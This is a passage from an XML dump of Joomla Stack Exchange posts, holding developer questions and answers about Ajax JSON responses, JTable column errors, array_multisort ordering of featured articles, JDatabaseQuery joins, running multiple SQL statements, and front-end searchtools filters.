base.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Work out the module positions that you want in your template:&#xA;&lt;a href=&quot;http://docs.joomla.org/Module_positions&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.joomla.org/Module_positions&lt;/a&gt; - you could have module positions for example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;header&lt;/li&gt;&#xA;&lt;li&gt;left&lt;/li&gt;&#xA;&lt;li&gt;right &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Put the module positions in your .xml template file&lt;/li&gt;&#xA;&lt;li&gt;I use JS CSS Control plugin to ensure that bootstrap/jquery etc are removed:&#xA;&lt;a href=&quot;https://extensions.joomla.org/extension/js-css-control/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/js-css-control/&lt;/a&gt;&#xA;as some components force bootstrap inside&lt;/li&gt;&#xA;&lt;li&gt;Use Joomla overrides for components/modules in template:&#xA;&lt;a href=&quot;http://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use a CCK - so the client doesn't have to worry about code. I like FLEXIcontent.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3485" LastEditorUserId="3485" LastEditDate="2018-09-23T13:59:35.107" LastActivityDate="2018-09-23T13:59:35.107" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23503" PostTypeId="1" AcceptedAnswerId="23504" CreationDate="2018-09-23T16:34:03.160" Score="1" ViewCount="1254" Body="&lt;p&gt;I've set up an Ajax call in my component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I seem to have got the initial call, the controller, the data model is working because when I make the JavaScript call I'm showing this in the code inspector as the response:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;({&quot;userblock&quot;:&quot;none&quot;,&quot;fileName&quot;:&quot;&quot;,&quot;fileLocat&quot;:&quot;&quot;,&quot;username&quot;:null,&quot;type&quot;:&quot;current&quot;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I can't seem to access the data via my JavaScript:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function initialise() {&#xA;&#xA;    console.log(&quot; start Ajax Call &quot;);&#xA;    jQuery.ajax({&#xA;        type: &quot;POST&quot;,&#xA;        url: 'index.php?option=com_daily&amp;amp;task=ajax.initialisePerson&amp;amp;format=json',&#xA;&#xA;        data: registration,&#xA;        success: function(response){&#xA;            console.log(&quot;back from ajax&quot;);// this shows nothing&#xA;            console.log(&quot;response is &quot;+response[0].userblock);// this shows nothing&#xA;            if(response.message !=&quot;&quot;){....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I guess I'm doing something stupid but any help would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The controller code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function ajax()&#xA;{&#xA;    $user       = JFactory::getUser();&#xA;    $jinput     = JFactory::getApplication()-&amp;gt;input;&#xA;    // Check Token!&#xA;    $token      = JSession::getFormToken();&#xA;    $call_token = $jinput-&amp;gt;get('token', 0, 'ALNUM');&#xA;    if($token == $call_token)&#xA;    {&#xA;        $task = $this-&amp;gt;getTask();&#xA;        switch($task)&#xA;        {&#xA;            case 'initialisePerson':&#xA;                try&#xA;                {&#xA;                    $returnRaw = $jinput-&amp;gt;get('raw', false, 'BOOLEAN');&#xA;                    $viewValue = $jinput-&amp;gt;get('view', NULL, 'INT');&#xA;&#xA;                    if($viewValue)&#xA;                    {&#xA;                        $result = $this-&amp;gt;getModel('ajax')-&amp;gt;displayDetails($viewValue);&#xA;                    }&#xA;                    else&#xA;                    {&#xA;                        $result = false;&#xA;                    }&#xA;                    if($callback = $jinput-&amp;gt;get('callback', null, 'CMD'))&#xA;                    {&#xA;                        echo $callback . &quot;(&quot;.json_encode($result).&quot;);&quot;;&#xA;                    }&#xA;                    elseif($returnRaw)&#xA;                    {&#xA;                        echo json_encode($result);&#xA;                    }&#xA;                    else&#xA;                    {&#xA;                        echo &quot;(&quot;.json_encode($result).&quot;);&quot;;&#xA;                    }&#xA;                }&#xA;                catch(Exception $e)&#xA;                {&#xA;                    if($callback = $jinput-&amp;gt;get('callback', null, 'CMD'))&#xA;                    {&#xA;                        echo $callback.&quot;(&quot;.json_encode($e).&quot;);&quot;;&#xA;                    }&#xA;                    else&#xA;                    {&#xA;                        echo &quot;(&quot;.json_encode($e).&quot;);&quot;;&#xA;                    }&#xA;                }&#xA;                break;&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So doing this led me to the problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;(&quot;.json_encode($e).&quot;);&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used this code and it should be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo json_encode($result);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All works now.&lt;/p&gt;&#xA;" OwnerUserId="12248" LastEditorUserId="11451" LastEditDate="2018-09-27T23:42:28.917" LastActivityDate="2018-09-27T23:42:28.917" Title="How to build valid json object for a component's ajax response?" Tags="|joomla-3.x|component|javascript|ajax|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23504" PostTypeId="2" ParentId="23503" CreationDate="2018-09-23T19:47:05.717" Score="1" Body="&lt;p&gt;How did you come up with the round brackets? The semicolon ist also wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Objects come with curly brackets and arrays with square brackets. Your string will work with the 2 issues corrected. The values can be accessed with response.userblock, response.fileName ...&#xA;There is no &quot;message&quot; in the response, so you won't get anything there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should use the json_encode function in PHP. It might also be a good idea to catch the errors.&lt;/p&gt;&#xA;" OwnerUserId="12705" LastEditorUserId="12705" LastEditDate="2018-09-23T20:43:12.060" LastActivityDate="2018-09-23T20:43:12.060" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23505" PostTypeId="2" ParentId="23503" CreationDate="2018-09-24T01:25:21.720" Score="1" Body="&lt;p&gt;Regarding your ajax call to the json generating contoller, &lt;code&gt;method&lt;/code&gt; is the more modern term rather than &lt;code&gt;type&lt;/code&gt; &lt;a href=&quot;https://stackoverflow.com/q/43543174/2943403&quot;&gt;since JQuery 1.9&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery.ajax({&#xA;    method: 'POST',  // method is more modern than type&#xA;    url: 'index.php?option=com_daily&amp;amp;task=ajax.initialisePerson&amp;amp;format=json',&#xA;    data: registration,&#xA;    success: (function (response) { ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I haven't personally built an ajax-powered component yet, but there is a dedicated tutorial for this that shows a more readable syntax for passing the parameters of the ajax call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_AJAX&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_AJAX&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As for you controller, be very careful to only pass valid json on every possible response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are correct in identifying that wrapping your json string in &lt;code&gt;(&lt;/code&gt; and &lt;code&gt;);&lt;/code&gt; will break the string syntax, but you need to check your other response strings as well.  With &lt;code&gt;echo $callback . &quot;(&quot;.json_encode($result).&quot;);&quot;;&lt;/code&gt;, &lt;code&gt;$callback&lt;/code&gt; will break your json string too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My recommendation is to perform all of your conditional handling and save all of your data into a &lt;code&gt;$response&lt;/code&gt; variable. (I always push data into my &lt;code&gt;$response&lt;/code&gt; array as associated elements like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($condition === true) {&#xA;    $response['message'] = &quot;pass&quot;;                   // whatever&#xA;    $response['data'] = [1,2,3];                     // whatever&#xA;} else {&#xA;    $response['message'] = &quot;fail&quot;;                   // whatever&#xA;    $response['error'] = &quot;Syntax Error in X Query&quot;;  // whatever&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I pass it back via a tidy little script-ending Joomla feature:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo new JResponseJson($response);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way, your php data is always perfectly encoded and the encoding call is only performed once at the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when the data is passed back to jQuery as a response string, use &lt;code&gt;response = JSON.parse(response);&lt;/code&gt; to convert the string into something that javascript can chew on.  If my response data can include optional elements, I check if it exists before I try to access it by writing an &lt;code&gt;in&lt;/code&gt; condition (to prevent generating warnings).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a taste of that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;success(function (response) {&#xA;    //console.log(JSON.stringify(response));  // see what Joomla generates for you&#xA;    response = JSON.parse(response);&#xA;&#xA;    if (&quot;message&quot; in response.data) {&#xA;        if (response.data.message == &quot;pass&quot;) {&#xA;            if (&quot;data&quot; in response.data) {&#xA;                console.log(response.data.data);&#xA;            } else {&#xA;                console.log(&quot;uhoh, 'data' element not found in response.data&quot;);&#xA;            }&#xA;        } elseif (response.data.message == &quot;fail&quot;) {&#xA;            if (&quot;error&quot; in response.data) {&#xA;                console.log(response.data.error);&#xA;            } else {&#xA;                console.log(&quot;uhoh, 'error' element not found in response.data&quot;);&#xA;            }&#xA;        } else {&#xA;            console.log(&quot;Unknown response.data.message value&quot;);&#xA;        }&#xA;    } else {&#xA;        console.log(&quot;uhoh, 'message' element not found in response.data&quot;);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sometimes I use &lt;code&gt;message&lt;/code&gt; as a key for a value that I want to display in a bootstrap box.  Sometimes I use &lt;code&gt;alert&lt;/code&gt; as a key for a value that I want to display as a javascript popup/alert. Never offer raw mysql error codes or messages in the response, if you are going to pass back an &lt;code&gt;error&lt;/code&gt; element, make it specific enough to guide you and your users, but general enough that malicious parties can't derive useful details from it. When you isolate separate values in this way, it can make manipulating the data in your javascript cleaner and more intuitive for other programmers.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-09-24T08:34:37.137" LastActivityDate="2018-09-24T08:34:37.137" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23506" PostTypeId="1" CreationDate="2018-09-24T09:39:57.247" Score="-1" ViewCount="42" Body="&lt;p&gt;I can not find in the admin section where the phone number in the &quot;contact us&quot; section changes.&lt;/p&gt;&#xA;" OwnerUserId="12906" LastEditorUserId="12352" LastEditDate="2018-09-25T18:01:25.973" LastActivityDate="2018-09-25T18:01:25.973" Title="How to save a contact's phone number in the administrator's Contacts component?" Tags="|administrator|contact|" AnswerCount="1" CommentCount="1" ClosedDate="2018-11-28T10:41:38.527" ContentLicense="CC BY-SA 4.0" />
  <row Id="23507" PostTypeId="2" ParentId="23506" CreationDate="2018-09-24T09:57:21.890" Score="2" Body="&lt;p&gt;If you have created a Joomla menu that goes directly to a single contact such as the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fKdD8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fKdD8.png&quot; alt=&quot;Contact Menu&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you will need to update the contact's phone number through the contact component:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;components/contacts/[the contact selected in the menu]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nF7XA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nF7XA.png&quot; alt=&quot;Contact&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12907" LastActivityDate="2018-09-24T09:57:21.890" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23508" PostTypeId="1" AcceptedAnswerId="23509" CreationDate="2018-09-24T14:04:18.337" Score="1" ViewCount="515" Body="&lt;p&gt;As I develop the back end manage record functionality of a component, I am getting &quot;Save failed with the following error: Unknown column 'created' in 'field list'&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I built the helloworld component according to the Joomla docs tutorial: &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Introduction&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to extend the back-end from simply displaying the list of items ( &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Basic_backend&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Basic_backend&lt;/a&gt; ) to modify (i.e., manage) each record. For this, I copied the back-end's com_banners banner view and the related files (controller, model, table, etc.), and adjusted the files to reflect the structure of my component's single record.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My component's table only has 3 columns, id, greeting, and state. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The manage record view for my component is displaying the record correctly, but when I modify the greeting and try to save it, I get the error &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Save failed with the following error: Unknown column 'created' in&#xA;  'field list'&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Like I said, the table of my component only has 3 columns, id, greeting, and state. The error implies the query included the additional column 'created'. Why is this additional column added to the query?&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;UPDATE:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;@Sharky suggested to delete &lt;code&gt;$this-&amp;gt;created = JFactory::getDate()-&amp;gt;toSql();&lt;/code&gt; from the Table class of the component. I did, and then I got the error &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Save failed with the following error: Unknown column 'modified' in&#xA;  'field list'&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Right now, the Table class for my component looks like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class HelloWorldTableHelloWorld extends JTable&#xA;{&#xA;    /**&#xA;     * Constructor&#xA;     *&#xA;     * @param   JDatabaseDriver  $db  Database connector object&#xA;     *&#xA;     * @since   1.5&#xA;     */&#xA;    public function __construct(&amp;amp;$db)&#xA;    {&#xA;&#xA;        parent::__construct('#__helloworld', 'id', $db);&#xA;&#xA;        JTableObserverContenthistory::createObserver($this, array('typeAlias' =&amp;gt; 'com_helloworld.helloworld'));&#xA;&#xA;        $this-&amp;gt;setColumnAlias('published', 'state');&#xA;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="126" LastEditDate="2018-09-26T18:46:55.387" LastActivityDate="2018-09-26T18:46:55.387" Title="Save failed with the following error: Unknown column 'created' in 'field list'" Tags="|custom-component|jtable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23509" PostTypeId="2" ParentId="23508" CreationDate="2018-09-24T14:45:26.067" Score="1" Body="&lt;p&gt;You must have missed something when adapting the files to your table structure. Run a search for &lt;code&gt;created&lt;/code&gt; through the files. It could be this line in &lt;code&gt;/administrator/com_banners/tables/banner.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;created = JFactory::getDate()-&amp;gt;toSql();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, look at the class of your component's model. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on your update, and given the advice I gave you (i.e., review your component for Banner's specific code), from class HelloWorldModelHelloWorld, you would delete the lines from method prepareTable: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$table-&amp;gt;modified    = $date-&amp;gt;toSql();&#xA;$table-&amp;gt;modified_by = $user-&amp;gt;id;&#xA;$table-&amp;gt;version++;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="3966" LastEditDate="2018-09-26T18:45:36.823" LastActivityDate="2018-09-26T18:45:36.823" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23510" PostTypeId="1" AcceptedAnswerId="23511" CreationDate="2018-09-25T11:37:18.143" Score="1" ViewCount="94" Body="&lt;p&gt;I am using a bespoke module (which has been inherited with the site) and the module sorts the articles shown based on the selected sort order from the XML params:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;sortopt&quot; type=&quot;list&quot; default=&quot;none&quot; label=&quot;Sort Options&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;none&quot;&amp;gt;Select a Sort option&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;priceasc&quot;&amp;gt;Price Ascending&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;pricedesc&quot;&amp;gt;Price Descending&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;titleasc&quot;&amp;gt;Title Ascending&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;titledesc&quot;&amp;gt;Title Descending&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;priceascfeatured&quot;&amp;gt;Price Ascending - Featured First&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;pricedescfeatured&quot;&amp;gt;Price Descending - Featured First&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then create the products array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$products[] = array('id' =&amp;gt; $id, 'title' =&amp;gt; $title, 'image' =&amp;gt; $image,&#xA;'product_url' =&amp;gt; $product_url, 'region' =&amp;gt; $region, &#xA;'featured' =&amp;gt; $article-&amp;gt;featured, 'product_price' =&amp;gt; $product_price);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the sort order is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if($sortopt == 'priceasc') {&#xA;&#xA;        array_multisort($sort['product_price'], SORT_NUMERIC, SORT_ASC, $products);&#xA;&#xA;    // Sort Price DESC&#xA;    } elseif($sortopt == 'pricedesc') {&#xA;&#xA;        array_multisort($sort['product_price'], SORT_NUMERIC, SORT_DESC, $products);&#xA;&#xA;    // Sort Title ASC   &#xA;    } elseif($sortopt == 'titleasc') {&#xA;&#xA;        array_multisort($sort['title'], SORT_NUMERIC, SORT_ASC, $products);&#xA;&#xA;    // // Sort Title DESC&#xA;    } elseif($sortopt == 'titledesc') {&#xA;&#xA;        array_multisort($sort['title'], SORT_NUMERIC, SORT_DESC, $products);&#xA;&#xA;    // Sort region ASC (Default)&#xA;    } elseif($sortopt == 'none') {&#xA;&#xA;        array_multisort($sort['title'], SORT_NUMERIC, SORT_ASC, $products);&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If an article is set to featured, I need to show this first in all order scenarios. I know I can use array_multisort to sort using featured and price but the following is showing the featured first, but not then putting them into the price sort order.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Sort Price ASC - Featured First&#xA;    elseif($sortopt == 'priceascfeatured') {&#xA;        array_multisort($sort['product_price'], SORT_NUMERIC, SORT_ASC, $products,&#xA;                        $sort['featured'], SORT_NUMERIC, SORT_DESC, $products);&#xA;    }&#xA;    // Sort Price DESC - Featured First&#xA;    elseif($sortopt == 'pricedescfeatured') {&#xA;        array_multisort($sort['product_price'], SORT_NUMERIC, SORT_DESC, $products,&#xA;                        $sort['featured'], SORT_NUMERIC, SORT_DESC, $products);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="294" LastEditorUserId="294" LastEditDate="2018-09-25T12:57:09.673" LastActivityDate="2018-09-25T13:08:40.040" Title="Set featured article first in custom sort order" Tags="|joomla-3.x|articles|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23511" PostTypeId="2" ParentId="23510" CreationDate="2018-09-25T13:08:40.040" Score="1" Body="&lt;p&gt;I've resolved this by doing the following for the sort order:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Sort Price ASC - Featured First&#xA;    elseif($sortopt == 'priceascfeatured') {&#xA;        array_multisort($sort['featured'], SORT_NUMERIC, SORT_DESC, $sort['product_price'], SORT_NUMERIC, SORT_ASC,$products);&#xA;    }&#xA;    // Sort Price DESC - Featured First&#xA;    elseif($sortopt == 'pricedescfeatured') {&#xA;        array_multisort($sort['featured'], SORT_NUMERIC, SORT_DESC, $sort['product_price'], SORT_NUMERIC, SORT_DESC,$products);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="294" LastActivityDate="2018-09-25T13:08:40.040" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23512" PostTypeId="1" AcceptedAnswerId="23522" CreationDate="2018-09-26T17:07:57.180" Score="2" ViewCount="97" Body="&lt;p&gt;I am using Joomla's JDatabaseQuery methods to select some columns from two joined tables, but I don't understand something about the following snippet.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Initialize variables.&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;//Create the base select statement.&#xA;$query-&amp;gt;select('a.id as id, a.greeting as greeting, a.published as published')&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__diolegend','a'));&#xA;&#xA;//Join over the categories.&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName('c.title' ,'category_title'))&#xA;      -&amp;gt;join('LEFT',$db-&amp;gt;quoteName('#__categories','c') . ' ON c.id =a.catid');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See in the 2nd &lt;code&gt;select()&lt;/code&gt;, there is no mention of &lt;code&gt;a.catid&lt;/code&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can it be possible to retrieve &lt;code&gt;a.catid&lt;/code&gt;?  We haven't selected it from anywhere.&lt;/p&gt;&#xA;" OwnerUserId="12916" LastEditorUserId="12352" LastEditDate="2018-09-28T05:24:55.757" LastActivityDate="2018-09-28T05:24:55.757" Title="Confusion about using two select() method calls in one query" Tags="|mysql|jdatabase|sql|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23513" PostTypeId="2" ParentId="23454" CreationDate="2018-09-26T17:47:25.620" Score="2" Body="&lt;p&gt;I was not able to figure out how to enable CLIENT_MULTI_STATEMENTS in Joomla.  I was able to solve my issue by using this bit of code to split my queries into an array of queries that the server will allow to process.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JDatabaseDriver::splitSql($query);&#xA;&#xA;$query =  &quot;CALL ...;Call...;...;&quot;;&#xA;&#xA;$queries = $db-&amp;gt;splitSql($query);&#xA;foreach( $queries AS $sql ) {&#xA;&#xA;$db-&amp;gt;setQuery($sql) -&amp;gt;execute();&#xA;$db-&amp;gt;query();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="12882" LastEditorUserId="126" LastEditDate="2018-09-26T18:38:48.463" LastActivityDate="2018-09-26T18:38:48.463" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23514" PostTypeId="2" ParentId="23512" CreationDate="2018-09-26T17:49:28.427" Score="0" Body="&lt;p&gt;I am not sure what is your actual concern, ... but now after looking a bit closer to that Query, I am also not that sure what this Query is about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean that... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above query wanted to be a &lt;code&gt;SELECT&lt;/code&gt; with a &lt;code&gt;JOIN&lt;/code&gt; - but the JOIN occurs on the same table: &lt;code&gt;#__diolegend&lt;/code&gt; and this really doesn't make any sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a copy/paste/typo error, or where did you get this query from?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Hypothetically, the second table should be something like &lt;code&gt;#__diolegend_categories&lt;/code&gt; or just &lt;code&gt;#__categories&lt;/code&gt; and in this case, what that Query would have attempted to do is to get the &lt;code&gt;id&lt;/code&gt;, &lt;code&gt;greeting&lt;/code&gt; and &lt;code&gt;published&lt;/code&gt; data from &lt;code&gt;#__diolegend&lt;/code&gt; table with the related category &lt;code&gt;title&lt;/code&gt; from the &lt;code&gt;#__categories&lt;/code&gt; table -&lt;br&gt;&#xA;&lt;strong&gt;Joined&lt;/strong&gt; on the category id that exists in both tables, as a primary key in the &lt;code&gt;#__categories&lt;/code&gt; table and as a foreign key in the &lt;code&gt;#__diolegend&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2018-09-26T17:49:28.427" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23515" PostTypeId="1" CreationDate="2018-09-27T08:48:26.103" Score="0" ViewCount="429" Body="&lt;p&gt;I've done a website transfer from one hosting provider to another one. I managed to make the website live in the new hosting, but can't access the Joomla! administration area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Call to undefined method InvalidArgumentException::getlevel() in /home/u907259166/domains/mydomain.com/public_html/libraries/legacy/error/error.php on line 536.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi, I used an FTP connection to downloaded the files and database from the old hosting and to upload them to the new hosting. I updated configuration.php with new $host, $user, $password and $db. The site is alive, but can't access the admin area. Not sure if I missed something here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I solve this?&lt;/p&gt;&#xA;" OwnerUserId="12919" LastEditorUserId="12919" LastEditDate="2018-09-29T12:19:40.717" LastActivityDate="2023-12-30T17:01:25.213" Title="Fatal error: Call to undefined method InvalidArgumentException::getlevel() in l/libraries/legacy/error/error.php on line 536" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23516" PostTypeId="1" AcceptedAnswerId="23519" CreationDate="2018-09-27T12:10:31.510" Score="2" ViewCount="1740" Body="&lt;p&gt;I am using the searchtools filters in the front end of a custom component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am displaying the fields in my template :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' =&amp;gt; $this)); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything works fine but in the mobile and tablet the searchtools shows only the search field and hides everything else. &#xA;I do not want this. Is a custom component so I want to display all the filters even in mobile in a element that I control his visibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I decided to render the fields the way I like in my &lt;strong&gt;tmpl/default.php&lt;/strong&gt; file.&#xA;The problem is that no field is rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code :&#xA;In the view :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;filterForm = $this-&amp;gt;get('FilterForm');&#xA;JLog::add('filterform: ' . print_r($this-&amp;gt;filterForm, TRUE), JLog::DEBUG, 'com_contract-site-ContractView');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the log&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DEBUG 127.0.0.1 com_contract-site-contractview  filterform: Joomla\CMS\Form\Form Object&#xA;(&#xA;    [data:protected] =&amp;gt; Joomla\Registry\Registry Object&#xA;        (&#xA;            [data:protected] =&amp;gt; stdClass Object&#xA;                (&#xA;                    [list] =&amp;gt; stdClass Object&#xA;                        (&#xA;                            [limit] =&amp;gt; 20&#xA;                        )&#xA;                )&#xA;            [initialized:protected] =&amp;gt; &#xA;            [separator] =&amp;gt; .&#xA;        )    &#xA;    [xml:protected] =&amp;gt; SimpleXMLElement Object&#xA;        (&#xA;            [fields] 